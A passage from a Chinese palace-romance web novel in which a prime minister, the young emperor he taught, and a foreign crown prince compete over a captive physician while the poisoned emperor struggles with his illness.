景翡:“说来也巧,那个叫梵尘的人竟然被我的好哥哥压在帐中,要他治病,梵尘不从,他一直将人锁在自己屋里呢。” 林怀玉俨然不信:“梵尘不是在大楚吗?为何会出现在大兴?” 景翡摇了摇扇子:“那我就不知道了,说不定是大楚没找到他想找的,便去了大兴呢。” 林怀玉一时无言。 难怪梵尘这么多时日连踪迹都寻不到,若是被人禁锢,倒是合理了。 大兴朝局动荡,如今景翡成了新太子入主东宫,前任太子锁着的人恐怕也到了他的手里。 林怀玉不禁道:“你想威胁我?” 景翡连忙道:“不,不是威胁,只是想让你给我一个机会,我用梵尘,换你同我成婚,一年时间,若是一年里你仍旧对我毫无感觉,我可以放手。” 林怀玉深深地看了景翡一眼,忽然笑了:“你凭什么觉得,我会为了宿泱,做到这种地步?” 景翡一愣:“你不是……” 林怀玉直接打断了他:“梵尘就算回来,也没有十足的把握救得了宿泱,他若是死了,大不了我再扶持一个新帝,我要的不过是一个明君,能让百姓安居乐业的天子,至于那个人是谁,我并不在乎。” 景翡哑然,他后退了一步,打开扇子挡住了半张脸,眼中露出一丝诧异:“人人道林丞相心狠手辣,没想到这心狠的程度令人咂舌,抛开别的不谈,这么多年的心血付之一炬,也无妨吗?” 林怀玉抬了抬眸,神色淡然:“自然是有些可惜的,只不过若是他成了林某受人掣肘的威胁,这心血便也不值一提了。” 景翡无奈:“罢了,先生不如再好好想想,我会在京都逗留些时日,大雍和大兴联姻,对两国和平有着莫大的好处,我与先生成婚,日后先生想如何便如何,我绝不干涉,你想要的我都会给你,你的身子我也会养好它,我也不会让你受任何委屈和伤害。” 林怀玉轻叹了一声:“太子殿下何必执着呢?你喜欢的,不是我,是我的才学与计谋,可终有一日,你也会成为我,到那时,你也就不会喜欢我了。” 景翡道:“那只是先生的猜测,我的心却不会这样变,总之,先生莫要现在就拒绝我了。” 他说完,也不再听林怀玉的话,转身就跑。 林飞:“这人怎么不听人说话呢。” 林怀玉笑了笑:“他自然不想听我一而再再而三地拒绝他。” 林飞没再说话。 林怀玉的目光却看向了回廊另一侧。 那里站着一道玄色人影,隐在暗处。 林怀玉淡淡道:“都听到了?” 宿泱这才缓步从柱子后面走出来,笑容有些勉强:“我不是故意要偷听的。” 林怀玉颔首:“我知道,你只是来的不巧。” 宿泱唇畔的笑意僵了僵,终究也没落下去,望着林怀玉,心底是密密麻麻的痛。 他近乎祈求道:“你别答应他,我的身体我自己会想办法。” 林怀玉看了他一眼,问:“你要想什么办法?” 宿泱道:“梵尘我会救,至于我的毒,若是真的,有朝一日我死了,你就像刚才说的,再扶持一个新帝吧。” 林怀玉冷哼了一声,他就知道,宿泱吐不出什么好话来。 宿泱看着林怀玉,犹豫了一下,又问:“老师,若是我真的死了,你会……” 会为我哭吗?会心疼吗? 还是,一点儿感觉也不会有,甚至庆幸终于没人缠着你了? 林怀玉听着宿泱说话又不说完,又轻哼了一声:“你总想这些没用的做什么?” 宿泱笑了笑:“也是,我若是死了,也看不到老师究竟是伤心还是高兴,不过我倒是希望你别太伤心,但至少……真到了那天,也别笑出声了。” 第60章 第 60 章 陛下出事了! 天晴风清, 日光正好,温度适宜,适合作画。 画里的两个人, 一个站在不远处不敢靠近,一个躺在躺椅上, 脸色微冷。 林怀玉望着宿泱, 忽的笑了一声:“过来。” 宿泱犹豫了一下,缓步靠近林怀玉, 在对方身侧停下:“老师。” 林怀玉忽然起身拽住了宿泱的衣领,将人往下扯了扯:“你很想死吗?” 宿泱苦笑了一声:“我怎么会想死呢?我想活着,和老师一起, 活下去。” 林怀玉垂眸:“既然不想死, 说这些做什么?” 宿泱望着林怀玉,问他:“老师也不想我死, 是吗?” 林怀玉轻笑了一下,松开了他:“跪下。” 宿泱愣了一下, 随即毫不犹豫地在林怀玉的身侧跪了下来, 他目光望着林怀玉, 甚至没问一句为什么。 林怀玉又命令道:“我腿酸, 给我捶腿。” 宿泱笑了一下, 乖乖给林怀玉捶腿。 半晌,林怀玉问他:“这几日头还疼吗?” 宿泱捶腿的手顿了顿, 唇畔扬起一个浅笑来。 果然,这世上会关心他的, 只有林怀玉。 他抬头看着对方,深深道:“老师,你对我真好。” 林怀玉瞥了他一眼:“问你话呢, 扯别的什么。” 宿泱道:“疼。” 林怀玉应了一声,好似不在意的模样,偏偏又问:“除了头疼,还有别的不适之处吗?” 宿泱眸光微顿,道:“没有了。” 林怀玉看了他一眼,没说话。 院子里变得分外安静,直到王兮安闯了进来。 他是来找宿泱的,知道宿泱在林府,便匆匆过来了,没成想看到了院子里令他大为震撼的一幕。 大雍天下正跪在一个人的躺椅边上,替那人捶腿! 他走上前去:“陛下!您可是天子啊,上跪天下跪地,怎么能跪旁人?!” 宿泱眼底却满是被打扰的阴郁,他转头看向来人,冷冷道:“怀玉是朕的老师,一日为师终身为父,有何不能跪的?” “这,这,这,成何体统啊!”王兮安移开了目光,不忍直视。 林怀玉淡淡看了他一眼,没有说话。 宿泱道:“王阁老有事?” 王兮安连忙道:“老臣有些国事要与陛下商议。” 林怀玉在宿泱开口前,先道:“陛下既然有事,就先回去吧。” 宿泱深深看了林怀玉一眼,他岂会不知林怀玉在他前面抢先说话就是为了不让他在这里议论朝政,林怀玉这是要彻底不管朝事。 他想了想,起身与王兮安离开:“老师好好休息,朕晚些再来看你。” 宿泱同王兮安出了林府的门,马车上,气压陡然沉了下来。 王兮安看着脸色骤变的宿泱,哪里还有方才在林怀玉面前的卑微与柔和。 他小心翼翼道:“陛下……” 宿泱声音低沉:“王阁老最好是有什么紧急的事。” 王兮安的呼吸突然重了些:“陛下上回让老臣安排的事已经妥当了,不过老臣不明白的是,林大人已经并未打算重回朝堂,陛下何必再为他洗清那些恶名?” 宿泱睨了王兮安一眼:“这与他重不重回朝堂无关,来日史书上,朕想看见的不是林怀玉的佞臣之名,而是他为了百姓做的那些事,这是他应得的。” 王兮安低头称是。 宿泱回了宫里,立刻召来了暗卫:“去一趟大兴,把一个叫梵尘的人给朕带回来。” “你去使馆探探,那个梵尘有没有带在他的身边。” “是!” 景翡既然能用梵尘威胁林怀玉,说明梵尘被对方禁锢着,恐怕轻易救不出来,他还得和景翡谈谈。 “陛下怎么一个人站在这里?”德福打了伞撑在宿泱头顶,一边扶住宿泱。 宿泱眼底一片阴沉,他在御花园里走了几步,问德福:“你说,大兴的太子除了想要林怀玉,他还会想要什么呢?” 德福道:“哎哟,这可难煞奴才了,奴才又不是那大兴太子肚子里的蛔虫,不过说到想要什么,这太子最想要的,那恐怕就是皇位了吧。” 宿泱眯了眯眼,转头看向德福:“是啊,皇位,大兴江山,他好不容易赢了废太子,成了新的东宫太子,若是废太子东山又起,他还有心思与朕抢林怀玉吗?” 德福愣了愣,随即笑道:“陛下所言极是。”. 另一边,林怀玉等宿泱离开后,脸上的随意也消散了不少,他对林飞道:“你去查查大兴使团里有没有押着一个叫作梵尘的人。” 林飞点头:“是。” 林怀玉还没说完:“另外,找人联系一下大兴的那位废太子。” 林飞不问原因,直接点了头,不管林怀玉要做什么,他都会无条件支持。 林怀玉吩咐好后,又重新躺了回去。 他并不喜欢被掣肘的感觉,这一局,便是他和景翡的棋局。 景翡只是将废太子打入冷宫,大兴陛下并未处死废太子,便是给景翡留下了一个致命的威胁。 斩草不除根,春风吹又生。 越是这种时候,心狠才能够活下来。 只是景翡显然,没有做到这一点。 入夜,那个说晚点再来看他的人没有来。 林怀玉眸光一垂,直接回了房间。 只是一直到深夜,林怀玉也没能睡着。 宿泱从来不是一个说话不算数的人,要么是出事了,要么是在处理什么事。 如今唯一能绊住宿泱的,恐怕只有他体内的毒。 林怀玉抿了抿唇,刚要喊林飞,门外忽然来了动静。 “林大人!林大人!” 是德福的声音。 林怀玉瞬间从床榻上起来,开了门:“德福公公,深夜来访有什么事吗。” 德福神色着急:“陛下,是陛下,出事了!” 林怀玉眸光一凝:“他怎么了?” 德福拉着林怀玉就走:“陛下吐了血,还一直想要自尽。” “自尽?!”林怀玉眉头紧锁,步子也加快了。 他想起之前宿泱在于思的屋子里撞得头破血流,莫非这次也是? 他跟着德福坐上马车,匆匆驶向皇宫。 德福道:“奴才听了陛下的吩咐,将陛下锁起来了,但恐怕陛下挣脱铁链,如今陛下一个人在寝宫里,奴才没办法只好来找您了。” 林怀玉一愣:“不是他让你来找我的?” 德福摇了摇头:“陛下反倒叫奴才千万别惊动了林大人,可是这宫里能管得了陛下的,也只有您了,奴才不喊您,还能请谁去看一眼陛下呢。” 林怀玉闻言,却是冷笑了一声:“这种时候他反倒想瞒我了,真是好魄力啊。” 白日里他才问过宿泱,除了头疼还有没有别的症状,想来那时候,宿泱便没有说实话。 好,好得很。 60-68 第61章 第 61 章 老师,我疼 花瓣片片在空中飞舞, 御花园一路的花随着风带到了林怀玉的周身,仿佛在欢迎林怀玉的到来。 林怀玉跟着德福一路朝着熟悉的方向走去,直到站在沁春宫门口, 林怀玉不禁问:“陛下的寝宫不是这里吧?” 德福道:“陛下自从林大人离开后便搬来了这里住。” 林怀玉眸光微顿,没再多问, 朝着里头走去。 门还没开, 里面便传来了锁链碰撞的声音,还有宿泱难受的低吼。 居然发作起来如此凶猛吗?明明白天还一本正经的。 林怀玉不再犹豫, 直接推门。 屋子里没有点灯,十分昏暗,宿泱又喜欢穿一身玄色衣袍, 林怀玉几乎看不见宿泱在哪里。 但铁链的碰撞声与动作间泛出的冷冽寒光, 倒是让林怀玉一下便锁住了宿泱的身影。 那人坐在床边,四肢都被锁链锁着, 他紧紧攥着拳头,拼命挣扎着, 想要挣脱那些禁锢着他的手链, 手腕和脚踝都被勒出了痕迹, 甚至磨破了皮, 渗出了血。 可宿泱像是完全不觉得疼, 又或者这点疼痛对他来说微乎其微,他挣扎着, 却似乎感受到有人开了门,挣扎停顿了一下, 他抬头望向来人,目光与林怀玉撞上。 宿泱的眼底似乎划过一丝清醒,他躲了躲, 却又发现自己无处可躲,只能从喉咙里发出一声艰难的带着涩意的低吼:“老师……别看我。” 林怀玉才不管宿泱死到临头的羞耻心,他关上了门,倒是将德福关在了外面,而后缓步靠近宿泱:“疼成这样了白天还装作没事人似的?” 宿泱心虚道:“白天……没有那么疼。” 林怀玉冷笑了一声,看着宿泱嘴硬,问:“我再问你一遍,你哪里疼?” 宿泱这回自然不敢再欺瞒林怀玉,何况他现在这副模样,也没有什么可信度,只好乖乖道:“全身都疼。” 他的身体朝着林怀玉靠了靠:“老师,我好疼。” 他几次和林怀玉喊疼,林怀玉都会说他活该,虽然他也知道是他自己活该,可他又为林怀玉说的伤人的话而难过,便有些不敢同林怀玉撒娇了。 林怀玉哼了一声:“现在知道疼了?” 宿泱只是抬头望着林怀玉,眸光落在对方的脸上,又突然道:“对不起。” 林怀玉一愣:“怎么?” 宿泱真心实意道:“我也不知道我那个时候怎么这么混账,我听到老师要娶妻,我就控制不住我自己想要把你绑在我身边,老师,你打我吧,打死我,死在你手里,也比死在这个破毒手上好。” 林怀玉嗤笑了一声,忽然离宿泱远了一步:“你想借我的手解脱,怎么不问问我同不同意呢?” “宿泱,你怎么能这么轻易地死了呢?” 宿泱眼底浮出一丝苦涩,他知道林怀玉这句话不是舍不得他死,只是想让他痛苦地活着。 他忍着心底的痛,全身又密密麻麻地剧痛袭来,他够着身子想拿头去撞床柱,好不容易探了过去,正要狠狠撞上去。 然而,坚硬的触感被柔软的皮肤代替,他撞上的林怀玉的手掌,随即传来的还有林怀玉的闷哼声。 宿泱瞳孔一震,连忙抬头,他手被锁着,这会儿连握住林怀玉的手都做不到,他红着眼眶,瞠目欲裂:“我又伤到你了,老师。” 林怀玉还没来得及说话,宿泱又道:“对不起,老师,都是我的错,你杀了我吧,杀了我!” 林怀玉捏了捏自己被撞疼的手,看着宿泱,声音冷如冰窖:“宿泱,你给我听好了,想死,那是懦夫的行为,你不是要求我原谅你吗?你连活着都做不到,怎么还清欠我的债?” 宿泱闻言,猛的抬头,神色难以置信:“你……你的意思是,你愿意给我机会,你会原谅我,是吗?” 林怀玉冷冷道:“活着的人才有资格谈原不原谅,你连活下去都做不到,没资格问我。” 宿泱艰难地滑动了一下喉结,他望着林怀玉,努力克制着自己想要自残的冲动,忍着身上和头的疼痛:“好,我会活下去的。” 他其实一点儿也不想死,他想和林怀玉在一起,和林怀玉一块儿活着,他不想就这么死了。 林怀玉看着宿泱逐渐平复下来,转身将对方手上脚上的锁链解开。 宿泱仍旧紧紧攥着拳,似乎怕自己一松开,自己苦苦忍耐和坚持都会白费。 他甚至不敢再去看林怀玉,可疼痛越来越强烈,和在于思屋子里那天一样,只想把自己撞个头破血流,晕过去才好。 林怀玉走到了宿泱身侧坐下,他的手掌搭在了对方的拳头上,才发觉宿泱整个人都在颤抖,他将那人的手掰开,宿泱震惊地看向了他。 老师,肯碰他了。 林怀玉看着宿泱这副模样,轻叹了一声:“再等等,等我把梵尘找回来。” 宿泱听到这话,心底一紧,他反手攥住林怀玉的手,连忙道:“不要,我不要老师和景翡成婚。” 林怀玉嗤了一声:“你想多了,我怎么可能为了你去委曲求全呢?” 宿泱提起来的心稍稍落下:“那……老师要做什么?” 林怀玉浅笑,那抹笑意里却藏了些许冷意:“有人既然用这事来要挟我,那我自然要永绝后患。” 宿泱有些不确定地问:“老师要对付景翡吗?” 林怀玉摇了摇头:“也算不上对付他,只是让他别那么闲,毕竟内忧还没有彻底解决呢。” 宿泱忽然低笑了一声:“原来老师同我想到一块去了。” 林怀玉眉心一挑:“景翡既然同我提了这个条件,想必梵尘不会在大兴了,应当就在大雍。” 宿泱道:“我立刻派人,就算把整个大雍掀过来,也要找到梵尘。” 林怀玉只提醒他:“动静别太大。” 宿泱笑着道:“我知道的,老师。” 林怀玉瞥了他一眼,收回了手:“我看你也好的差不多了,我该回去了,大半夜的不让人省心。” 宿泱连忙拉住他的手:“老师,深更半夜出宫不安全,来回又折腾,不如在这里睡一晚,明早我让德福送你回去。” 林怀玉扫了一眼沁春宫内与之前别无二致的装扮,道:“我不喜欢这里,不睡。” 宿泱呼吸一顿,立刻道:“好,不睡这里,换一间。” 林怀玉噙着笑,揶揄道:“陛下后宫空置已久,就没想过立后封妃?” 宿泱步子一顿,连忙表态:“老师,你到如今还不明白我的心意吗?” 林怀玉道:“是谁之前口口声声说要娶白见青为后的?” 宿泱瞬间面如土色:“我错了,老师,我那是想让老师为我吃醋,我真的知道错了,我以后绝不敢再胡言乱语了。” 第62章 第 62 章 陛下肯定做了什么对不起…… 深夜十分静谧, 一点声响都没有,周遭的安静让人不自觉沉睡。 林怀玉躺在寝宫的床榻上,侧身看了一眼贵妃榻上的宿泱, 不由得道:“陛下有自己的寝宫,做什么非要挤在榻上睡?” 宿泱丝毫不觉得这样有什么问题, 也不觉得难受:“我想和老师待在一处, 若是我又毒性发作,老师说不定能拦着我点。” 林怀玉嗤笑了一声:“这时候又不怕伤到我了?” 宿泱脸色一变, 甚至从榻上坐了起来,他看着林怀玉,连忙道:“若是我又伤害到你了, 你就打醒我!” 林怀玉无奈道:“行了, 睡吧。” 只是林怀玉今晚注定睡不了一个好觉,他还没睡多久, 总觉得有什么动静,有人似乎爬上了他的床。 想到这个可能, 林怀玉猛的睁开了眼睛, 他不用看也能感觉到, 有个人一手揽着他的腰, 将他抱在了怀里。 林怀玉眉头一皱, 正要开口,宿泱却先说了话:“老师, 别走……” 林怀玉仔细望着宿泱,对方说话并不清楚, 轻声低喃着,眼睛也没睁开。 林怀玉猜想对方并不是清醒的状态,否则这人怎敢如此放肆? 他只好放轻了语气:“陛下。” 宿泱皱着眉头, 没能醒过来。 林怀玉只好提了提嗓音,喊他:“陛下。” 一连喊了好几声,宿泱才颤动着睫毛,缓缓睁开眼睛,眼前是放大的林怀玉俊美的脸,近在咫尺,呼吸可闻,那人身上淡淡的清香萦绕在他的鼻尖,令他不由自主想要靠近林怀玉。 近一点,再近一点。 但他看见了林怀玉神色愠怒,发觉自己做了什么后,立刻松开了林怀玉的腰,从床上下来:“我……我怎么跑到这里来了。” 林怀玉好整以暇地望着他:“这就要问你了,陛下。” 宿泱连忙解释:“我不是故意的,我也不知道怎么回事,老师,你相信我,我,我去别的地方睡。” 林怀玉看他慌乱的模样,叹息了一声:“罢了。” 他刚才就看出来宿泱不是故意这么做的:“你去别的地方睡,若是睡到一半又不知做出什么举动来,不如我看着你。” 宿泱眸光微动:“老师,你真好。” 第二日林怀玉便回了林府,宿泱去上朝,他正好能做一些事。 林飞带着消息回来:“先生,梵尘的下落还是没找到,太子殿下藏得也太好了。” 林怀玉倒是并不觉得意外:“这毕竟是他来大雍的目的与手上唯一的筹码,自然不可能让我们轻易找到了。” 林飞点头:“废太子景棋那边也有消息了,不过他问我们,和陛下是不是一路的。” 林飞又道:“难道陛下也找上了景棋?” 林怀玉想起宿泱昨夜的话,轻轻颔首:“他除了问这个,还有别的吗?” 林飞犹豫了一下,道:“景棋说,他的好弟弟突然做出那些出格的举动,都是先生的手笔吧?” 林怀玉轻笑了一声:“他这意思是拒绝我,选陛下了?” 林飞却摇了摇头:“不,他接受了,他说他要他的好弟弟感受一下被同一个人扶起来又被那人摧毁的滋味。” 林怀玉嗤了一声。 林飞不禁问:“我们要帮景棋扳倒景翡吗?” 林怀玉只是淡淡道:“大兴内部究竟掀起的什么浪与我可无关,我要的不过是梵尘,至于他们两个人究竟最后斗成什么样,是他们自己的事。” 林飞点头,他抚了抚下巴,分析道:“我觉得景棋的心更狠一点,有先生帮他的话,他的胜算会更大。” 林怀玉却忽然道:“谁说我要帮他了?” 林飞一愣:“您不是要帮他吗?” “我只是助他破这一局,可没说要助他登上皇位。”林怀玉给自己倒了杯茶,水声如注,他气定神闲。 仿佛他们谈论的只是今日午膳吃什么,而非大兴如今夺位的现状。 林飞看着自家先生,不由得笑了起来:“先生还是一如既往地为筹帷幄之中。” 林怀玉抬眸看了他一眼:“如果可以,我倒是不想费这个脑子。” 林飞道:“先生足智多谋,是老天不想让先生就这么歇着。” 两人正在院子里说话,下了朝收到消息的宿泱直奔林府。 “老师,你没必要插手这事。”他望着林怀玉,一脸担忧。 林怀玉一听便知道,景棋拒绝了宿泱的交易,与其说是拒绝,景棋也不敢得罪宿泱,便就着他二人的关系,把与他合作的事告诉了宿泱,以此婉拒。 林怀玉直言道:“若不是我昨夜才知道你也去找了景棋,我必定不会再去。” 宿泱抬眸:“老师这是什么意思?” 林怀玉轻哼一声:“倒是给了景棋选择的机会。” 宿泱算是听明白了,忽然心情就好了起来:“老师这是在为我打抱不平吗?” 被拒绝了的人是他,怎么林怀玉生起气来了呢? 宿泱笑着靠近林怀玉,想多看两眼这样的林怀玉。 少见又可爱。 林怀玉见他靠近,收回了目光:“我只是想得点清闲罢了。” 宿泱笑了笑,没再得寸进尺,他又跪在林怀玉的身侧,给对方捏腿:“梵尘我这里也还没什么下落,不过网已经撒出去了,应该很快就会有消息的。” 林怀玉点头:“景翡自顾不暇的时候,便是露出马脚的时候,他要回大兴,必定也会带走梵尘,那时候便是你出手的好机会。” 宿泱道:“老师不用替我操心,这些我都知道。” 林怀玉应了一声,被宿泱按得舒服,昨夜又没睡好,这会儿睡意渐浓,他一只手垂落在躺椅下面,宿泱见了,把自己的脑袋凑了过去,放在了林怀玉的掌心。 见林怀玉没什么动静,宿泱又用脑袋在林怀玉的手心蹭了蹭。 林怀玉能肆无忌惮地抚摸林飞的脑袋,也能摸方知许的脑袋,他却不敢提这样的要求,只能趁着林怀玉睡着,偷偷蹭一蹭。 谁知道林怀玉还没彻底睡着,脑袋突然被打了一下,宿泱连忙退了开去:“老师……你没睡啊。” 林怀玉半撑开眼皮看了他一眼:“捶腿,别停,都怪你昨晚闹我。” 宿泱轻笑了一声:“好。” 林飞却在一旁陡然睁大了眼睛。 等会?!昨夜?!发生了什么事?他不是就出去办事错过了一晚上,先生和陛下干了什么?! 林怀玉这一觉睡了很久,直到快傍晚才醒过来,连午膳都没吃,醒来的时候宿泱不在,但桌子上放着一桌子的菜。 林飞见他醒来,连忙手里端起两道菜:“我去热一下,先生您等会。” 林怀玉拦住他:“不用了,天还不冷,就这样吃吧。” 林飞点点头,又将手里的菜放下:“陛下去处理事情了,具体没跟我说。” 林怀玉抬眸看了他一眼,奇怪道:“我又没问他。” 林飞眨了眨眼,只好道:“先生,您昨夜和陛下……发生了什么吗?” 林怀玉十分自然道:“什么也没发生,怎么?” 林飞不信:“那您方才还说,陛下闹您睡不好觉什么的……” 他说话声音越来越小,但林怀玉还是听了个清清楚楚。 林怀玉想起这话似乎是自己昏昏沉沉要睡过头的时候抱怨的。 他无奈道:“陛下昨夜毒性发作,所以闹我,你……你小小年纪,想什么呢?” “哦!”林飞恍然,脸上也多了一份羞涩,“没想什么,只不过从江南到京都,我也看明白了一些东西啊。” 林怀玉看向他,问:“你说说,你看明白什么了?” 林飞直言:“陛下他喜欢您!” 林怀玉浅笑:“所以呢?” 林飞看着林怀玉,眨了眨眼:“您知道啊?” 林怀玉没好气道:“我若是这都看不出来,我还能做谁的老师?” 林飞一拍大腿:“对啊!您可是他的老师啊,他这……您……您不拒绝他,是也喜欢他吗?” 林怀玉没有立刻说话。 林飞道:“您看啊,那七皇子季无忧同您表白,您立刻就拒绝了,景翡殿下想求娶您,您也毫不留情地拒绝了,甚至对方要挟您成婚,您立刻动了手段要把人赶回大兴去,可唯独陛下,您都没有拒绝他,您是不是……也喜欢他?” 林怀玉却没有说话。 林飞道:“先生该不会……是在逃避吧?” 林怀玉笑了一下:“我与陛下之间,并非喜不喜欢这般简单。” 林飞这下就不明白了:“先生是碍于师徒身份吗?” 林怀玉摇了摇头:“我从不在意这些,只是从前我以为,他对我不是爱,他的心里甚至还有别人,我不过是一件玩物,那不是我想要的,后来发现,我大概还是不够了解他。” 林飞还是没听懂:“那现在呢?您现在对他,究竟是什么想法?” “现在……”林怀玉思索了一番,“我还没想好。” 林飞:“……” 怎么听上去,他家先生像是个不肯负责任的负心汉呢? 这可能吗?这不可能! “是不是陛下他做了什么对不起你的事!”林飞想了想,忽然大声道。 林怀玉浅笑不语,不论林飞脑子里究竟猜的是什么,这话倒是没说错。 于是林怀玉点头附和他:“你说得对。” 林飞一副“果然如此”的表情,他就知道,肯定不是他家先生的错! 他家先生可不是什么负心汉浪荡子,那必定是陛下的问题!才让他家先生如此举棋不定! 林怀玉看着林飞在一旁沉思,神色越来越严肃,笑着吃完了午膳。 第63章 第 63 章 我只想天天见到老师…… 又是一场大雨, 瓢泼大雨倾泻而下,将干燥的大地浇了个透,想来下完这场雨, 便入了秋了。 雨丝带着微微的凉意,落在院子里, 林怀玉看到了撑着伞朝他走来的景翡。 景翡的脸上没有一丝笑意, 与第一天来大雍的时候截然不同。 他撑着伞站在不远处,没有进来, 只是望着林怀玉,问:“先生就这么不想同我成婚吗?” 林怀玉道:“我拒绝过你了,是你自己非要如此。” 景翡的唇角露出一丝苦涩的笑意:“你就这么在意大雍的陛下?你就这么喜欢他吗?他明明对你一点儿也不好。” 林怀玉反问他:“那你对我又有几分是真心呢?” 景翡道:“自然是满腔真心, 我说过, 你要什么我都会奉上。” “是吗?”林怀玉冷笑了一声,“那你还用梵尘来要挟我?” 景翡这事自知理亏, 只好道:“因为我知道你不愿,只能出此下策。” 林怀玉道:“既然知道我不愿, 为何勉强?你说我想要什么你都给, 可你和以前的宿泱有什么不同呢?都一样不愿给我自由。” 景翡眸光微闪, 大雨如瀑击打着他的伞面, 也击打着他的心, 半晌,他才笑了一下, 道:“你说的对,先生, 你总是在教我很多东西,宿泱能跟在你身边,是他这一生最大的幸运。” 林怀玉没有说话。 景翡似乎还想挣扎一下, 又问他:“如果,我才是你的学生,如果我们才是……” 林怀玉直接打断了他的话:“没有这样的如果,也不必做此假设,庸人自扰罢了。” 景翡的最后一丝希望也被打破,他唇角噙着那抹苦笑,涩意在唇齿间蔓延:“先生,我要回大兴了。” 林怀玉的脸上无波无澜:“太子殿下一路平安。” 景翡道:“你可真是……无情啊。” 林怀玉自然知道景翡已经留不下去了,再在大雍待下去,恐怕大兴就要没有他的容身之地了。 林怀玉不否认自己的无情,目送景翡离开。 “找到梵尘了!”林飞落在回廊里,站在林怀玉身侧。 林怀玉道:“陛下在吗?” 林飞点头:“陛下早就带人埋伏了,现在梵尘已经就在陛下手上。” 林怀玉点了点头:“随我进宫一趟吧。” 林怀玉匆匆入了宫,德福一见他来,便将他引到宿泱的寝宫去。 林怀玉边走边问:“陛下如何了?” 德福道:“梵尘正在给陛下把脉呢。” 林怀玉点了点头,快步同德福到了寝宫。 宿泱见林怀玉来,眼前一亮:“老师!” 林怀玉看了他一眼,又看了梵尘一眼。 梵尘和住持一样,都是出家人,手里捻着一串佛珠,眉眼间带着怜悯,不过住持一直待在灵山寺,而梵尘更喜欢云游四海,这些年在外面帮他寻找解毒之法,他也乐得自在。 梵尘收回了手,见到林怀玉,微微颔首,算是打了招呼,故友相见,此刻却不是叙旧的好时机,他眉心轻皱:“陛下这毒颇为奇怪,四种毒在体内,随时都有性命之忧。” 林怀玉直接问:“可有解毒之法?” 梵尘却摇了摇头,为难道:“若是下毒之人都没有办法,恐怕这世间,无人能解了。” 林怀玉拢着眉心,深深望着宿泱。 宿泱却朝着林怀玉安慰似的一笑:“没事,说不定这毒在朕体内能撑个五六十年呢。” 林怀玉眉心拧得更紧,这种极大的不确定性,一不留神就要了命的,怎么能够如此淡定? 宿泱眼神示意了德福,德福连忙引着梵尘道:“大师这一路也辛苦了,不如去用个膳吧。” 梵尘看了林怀玉一眼,道:“行啊。” 屋子里便只留下了林怀玉和宿泱两个人,宿泱唇畔还挂着一抹浅笑,好似那个随时都可能死掉的人不是他:“老师不必如此忧心,其实我能救到老师就已经很满足了,至于我能活下来,活多久,都是我赚的,不是吗?” 林怀玉并不赞同他的话,脸色不虞:“你是天子,大雍的皇帝,你怎么能……” 宿泱却笑着打断了他:“我都知道,但是老师,天子也是人,会生病,会中毒,也终有一天会死,早一些晚一些,对我来说没什么区别,我只想在我活着的时日里,能多看看老师,我就心满意足了。” 林怀玉没能再说话。 他其实听过很多次宿泱对他说这种话,说想要一直陪着他,说想和他在一起,可都没有这一次令他悸动。 他以为他的心早已如同死水,掀不起半分波澜,可当宿泱捧着一颗心放在他的面前,任由他践踏,他又不知该如何是好了。 宿泱似乎想一股脑把心里想说的话都说给林怀玉听:“我知道我之前做了很过分的事,让老师伤心难过,我也不奢求老师原谅我,接受我,我只希望能天天见到老师,就很高兴了。” 林怀玉的喉间微微发紧:“你……” 宿泱似乎被拒绝的多了,也知道林怀玉不会轻易接受他,于是主动道:“老师不必多说,我都知道,不过……我可以天天都见到老师吗?” 林怀玉不禁道:“你如今不是日日都跑到我府上吗?” 宿泱低笑了起来:“是啊,老师都没把我赶走,那我可就要赖着不走的久一些了。” 林怀玉循着话道:“得寸进尺。” 宿泱笑了笑,忽的咳了起来,咳着咳着,血从他的口中溢了出来。 林怀玉瞳孔微微放大,刚要抬手,宿泱先一步用衣袖擦掉了唇边的鲜血,再度宽慰林怀玉:“没事,我吐着吐着就习惯了,老师以前也经常咳嗽吐血,我那时候竟然不当一回事,我可真畜生。” 宿泱似乎也习惯了替林怀玉骂自己,说的话都十分顺口,倒让林怀玉皱了皱眉头。 宿泱果真变了许多,从前不会如此轻慢自己。 林怀玉抿唇:“别以为这样,我就会原谅你。” 宿泱笑着道:“老师别原谅我,最好这辈子都别原谅我。” 如此一来,林怀玉便不会深陷其中,日后他若真死了,林怀玉也不会太难过。 林怀玉挑眉:“你可不要后悔。” 宿泱轻轻点了一下头:“不后悔。” 从他知道自己这毒无解之后,他便释然了,他不要林怀玉原谅自己了,就让林怀玉一直恨着他,他有生之年,可以对林怀玉很好很好,而林怀玉也可以毫无负担地接受他的好,最后面对他的离开,也可以不伤心难过。 这样,对谁都好。 宿泱觉得,这样也不错。 可林怀玉哪能猜不到宿泱的心思,他越是猜到猜透了,心里才越是闷得慌。 他出了门,朝着御花园走去,梵尘竟在不远处等他,那人站在花丛里,手中捻着那串珠子,眸光中好似蕴了一道水光。 “好久不见。”梵尘率先开了口。 林怀玉走到他的身侧,道:“好久不见。” 梵尘道:“事情我都听说了,你的毒解了,本该是喜事一桩,可惜,以命换命,造化弄人。” 林怀玉冷哼了一声:“当年棋差一着,不曾想先帝在我身上下的暗棋,如今才显现出来。” 梵尘只道:“一切皆有命数。” 林怀玉眸光一闪:“我若是信命数,早就死在幼年之时了。” 梵尘闻言,倏地望向林怀玉。 林怀玉问他:“若是知晓这四种毒的毒物,是否能配出解药,哪怕是四种对应的解药,一起服下呢?” 梵尘道:“这谈何容易?世间剧毒莫过于此,更遑论做出解药,灵祭族人都无法解开,我又如何能做到?” 林怀玉望着前方,道:“不试试,怎么知道呢?” 第64章 第 64 章 我要和老师一起沐浴 惊叫声穿云破空, 惊起飞鸟从枝头掠过四海九州。 季无忧看着林怀玉,深深道:“虽然我知道景翡他对你有意,真没想到他回去一趟处理了他哥, 转头居然就过来跟你求亲?!!!!!!” 林怀玉手里的茶盏差点被季无忧震碎了,他默默将茶盏放下, 没好气道:“你一个大楚的皇子, 跑到大雍京都来做什么?” 前脚刚送走一个大兴的太子,后脚季无忧就来了, 令人头疼。 季无忧轻哼一声:“他能来,我为什么不能来?还是说,先生不欢迎我?” 林怀玉只好道:“如今三国相互制衡, 未见纷争, 来往友好,七皇子既得了大楚陛下首肯, 自然来得。” “哼,就知道跟我打官腔。”季无忧撇了撇嘴, “那景翡跑过来求娶先生, 那我为什么不行?我可比他好, 我是大楚最受宠的皇子, 最重要的是, 怀玉和我在一块儿十分自在,不是吗?” 林怀玉无奈:“七皇子就莫要开玩笑了, 我与你之间,只是朋友。” 季无忧眼底划过一丝失落, 随即道:“一提这种事,你躲得比谁都快,立刻就生分地喊我七皇子了, 说好的喊名字呢?还朋友呢……” 